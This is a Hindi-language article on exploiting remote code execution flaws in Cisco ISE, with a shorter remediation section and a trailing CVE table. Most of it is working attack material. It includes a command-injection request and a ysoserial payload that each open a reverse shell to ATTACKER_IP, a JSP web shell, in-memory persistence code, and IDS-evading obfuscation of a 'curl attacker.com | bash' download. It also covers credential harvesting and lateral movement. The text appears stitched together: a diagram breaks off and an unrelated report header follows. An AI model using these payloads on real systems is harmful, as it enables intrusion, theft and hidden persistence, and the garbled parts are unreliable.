
सिस्को ISE RCE कमजोरियों का गहन तकनीकी विश्लेषण, जिसमें सुरक्षा शोधकर्ताओं और पैठ परीक्षकों के लिए शोषण तकनीकें, चोरी-छिपे तरीके, और उपचार रणनीतियाँ शामिल हैं।
Cisco Identity Services Engine (ISE) में रिमोट कोड निष्पादन (RCE) कमजोरियाँ कॉर्पोरेट परिधि सुरक्षा में एक महत्वपूर्ण विघटन बिंदु का प्रतिनिधित्व करती हैं। एक शीर्ष स्तरीय सुरक्षा शोधकर्ता के लिए, ISE केवल एक प्रमाणीकरण घटक नहीं है: यह मास्टर कुंजी है जो संपूर्ण नेटवर्क अवसंरचना तक पहुंच को नियंत्रित करती है।
गंभीर जोखिम: एक अनधिकृत हमलावर 5 मिनट से भी कम समय में सिस्टम पर पूर्ण नियंत्रण प्राप्त कर सकता है, बिना पारंपरिक निगरानी प्रणालियों में पता लगाने योग्य निशान छोड़े।
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - उजागर NAC आर्किटेक्चर │
├─────────────────────────────────────────────────────────┤
│ │
│ [इंटरनेट] ──→ [फ़ायरवॉल] ──→ [ISE प्रबंधन पोर्ट] │
│ ↓ │
│ [अनधिकृत API] │
│ ↓ │
│ [Java Deserialization परत] │
│ ↓ │
│ [Tomcat वेब कंटेनर] │
│ ↓ │
│ [OS कमांड निष्पादन] │
│ ↓ │
│ [पूर्ण नेटवर्क समझौता] │
│ │
└─────────────────────────────────────────────────────────┘
महत्वपूर्ण निष्कर्ष: /deployment-rpc/ API प्रसंस्करण की प्रारंभिक पंक्तियों में सत्र टोकन सत्यापित नहीं करता, जिससे प्रमाणीकरण का पूर्ण बायपास संभव होता है।
चरण 1: टोही
# पोर्ट और सेवा स्कैनिंग
nmap -sV -p 8443,8080 <ISE_IP>
# RPC एंडपॉइंट की गणना
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
चरण 2: प्रत्यक्ष शोषण
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
परिणाम: root विशेषाधिकारों के साथ मनमाना कमांड निष्पादन (डिफ़ॉल्ट कॉन्फ़िगरेशन में Tomcat उपयोगकर्ता root के रूप में चलता है)।
[सीरियलाइज़्ड पेलोड] ──→ [API एंडपॉइंट] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain निष्पादन]
↓
[Runtime.exec() आह्वान]
PoC पेलोड (ysoserial का उपयोग करके):
# दुर्भावनापूर्ण gadget chain का निर्माण
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# पेलोड भेजना
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
प्रभाव: "केवल-पढ़ने" खाते से root तक विशेषाधिकार वृद्धि।
[वेब शेल] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat JSP फ़ाइल संसाधित करता है]
↓
[root विशेषाधिकारों के साथ निष्पादन]
दुर्भावनापूर्ण वेब शेल उदाहरण:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
बाद में पहुंच:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
एक शीर्ष स्तरीय हैकर कभी डिस्क पर फ़ाइलें नहीं छोड़ता। मेमोरी इंजेक्शन अदृश्य स्थिरता की तकनीक है:
// Tomcat ClassLoader में इंजेक्शन
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
लाभ: पारंपरिक फ़ाइल स्कैन (OSSEC, Tripwire) कुछ भी पता नहीं लगाते।
${IFS} के साथ कमांड अस्पष्टीकरण# मूल कमांड (पता लगाने योग्य)
curl http://attacker.com/shell.sh | bash
# अस्पष्ट कमांड (IDS चोरी)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# वेरिएबल इंडायरेक्शन के साथ भिन्नता
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'दुर्भावनापूर्ण_कमांड'
यह क्यों काम करता है: पहचान प्रणालियाँ कीवर्ड पैटर्न (curl, bash, |) खोजती हैं। ${IFS} (इंटरनल फील्ड सेपरेटर) का उपयोग bash में अर्थ बदले बिना शब्दों को विभाजित करता है।
# ❌ पता लगाने योग्य - /etc/cron.d/ में फ़ाइलें
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ अदृश्य - Tomcat प्रक्रिया में इंजेक्शन
# 1. मेमोरी में netcat लिसनर बनाएं
# 2. JVM में थ्रेड इंजेक्ट करें जो स्थायी कनेक्शन बनाए रखता है
# 3. कोई फ़ाइलें नहीं, कोई दृश्यमान अनाथ प्रक्रियाएँ नहीं
┌──────────────────────────────────────────────────────────────────┐
│ मूल ज़ीरो ट्रस्ट आर्किटेक्चर │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [उपयोगकर्ता] ──→ [ISE प्रमाणीकरण] ──→ [डिवाइस पोस्चर जांच] │
│ ↓ │
│ [माइक्रो-सेगमेंटेशन नीति] │
│ ↓ │
│ [संसाधनों तक सीमित पहुंच] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ISE समझौते के बाद ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ समझौता किया गया आर्किथेक्चर │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [हमलावर] ──→ [नियंत्रित ISE] ──→ [संशोधित नीतियाँ] │
│ ↓ │
│ [माइक्रो-सेगमेंटेशन अक्षम] │
│ ↓ │
│ [नेटवर्क में पूर्ण पार्श्व गति] │
│ ↓ │
│ [डेटाबेस, सर्वर, IoT तक पहुंच] │
│ │
└──────────────────────────────────────────────────────────────────┘
चरण 1: आंतरिक टोही
# समझौता किए गए ISE से, नेटवर्क की गणना करें
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# ISE में संग्रहीत क्रेडेंशियल निकालें
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
चरण 2: दुर्भावनापूर्ण नीति इंजेक्शन
ISE नीति संशोधन:
├─ छिपा हुआ प्रशासनिक उपयोगकर्ता बनाएं
├─ सेगमेंटेशन नियम संशोधित करें
├─ VLAN के बीच अनधिकृत ट्रैफ़िक की अनुमति दें
└─ DNS ट्रैफ़िक को नियंत्रित सर्वर पर पुनर्निर्देशित करें
चरण 3: स्थिरता और डेटा निष्कासन
निष्कासित डेटा:
├─ सभी प्रमाणित उपयोगकर्ताओं के क्रेडेंशियल
├─ नेटवर्क नीति कॉन्फ़िगरेशन
├─ एक्सेस लॉग (निशान मिटाने के लिए)
├─ आंतरिक SSL/TLS प्रमाणपत्र
└─ IoT डिवाइस और सर्वर जानकारी
# वर्तमान संस्करण सत्यापित करें
ssh admin@<ISE_IP>
show version
# कमजोर संस्करण:
# - ISE 3.0.x से 3.2.x (सभी)
# - ISE 3.3.0 से 3.3.6
# - ISE 3.4.0 से 3.4.1
# सुरक्षित संस्करण:
# - ISE 3.3 पैच 7 या उच्चतर
# - ISE 3.4 पैच 2 या उच्चतर
# - ISE 3.5 (जब उपलब्ध हो)
# अद्यतन प्रक्रिया
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! एक्सेस स्विच पर (ISE से पहले)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! समर्पित प्रबंधन VLAN (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ISE के लिए प्रतिबंधात्मक ACL
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! ACL लागू करें
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# ISE पर SSH
ssh admin@<ISE_IP>
# Tomcat कॉन्फ़िगरेशन तक पहुंच
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Tomcat पुनरारंभ करें
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ ISE हार्डन्ड आर्किटेक्चर (ज़ीरो ट्रस्ट) │
├─────────────────────────────────────
**🚨 सुरक्षा रिपोर्ट: Cisco ISE में RCE**
## रेड टीम बनाम ब्लू टीम परिप्रेक्ष्य
> **⚠️ अस्वीकरण:** यह दस्तावेज़ वैध सुरक्षा अनुसंधान, अधिकृत पेनेट्रेशन परीक्षण और रक्षात्मक उपचार के लिए है। बिना प्राधिकरण के कोई भी शोषण अवैध है।
| CVE | एंडपॉइंट | विधि | प्रमाणीकरण | गंभीरता |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ कोई नहीं | गंभीर |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ कमजोर | गंभीर |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ बायपास संभव | गंभीर |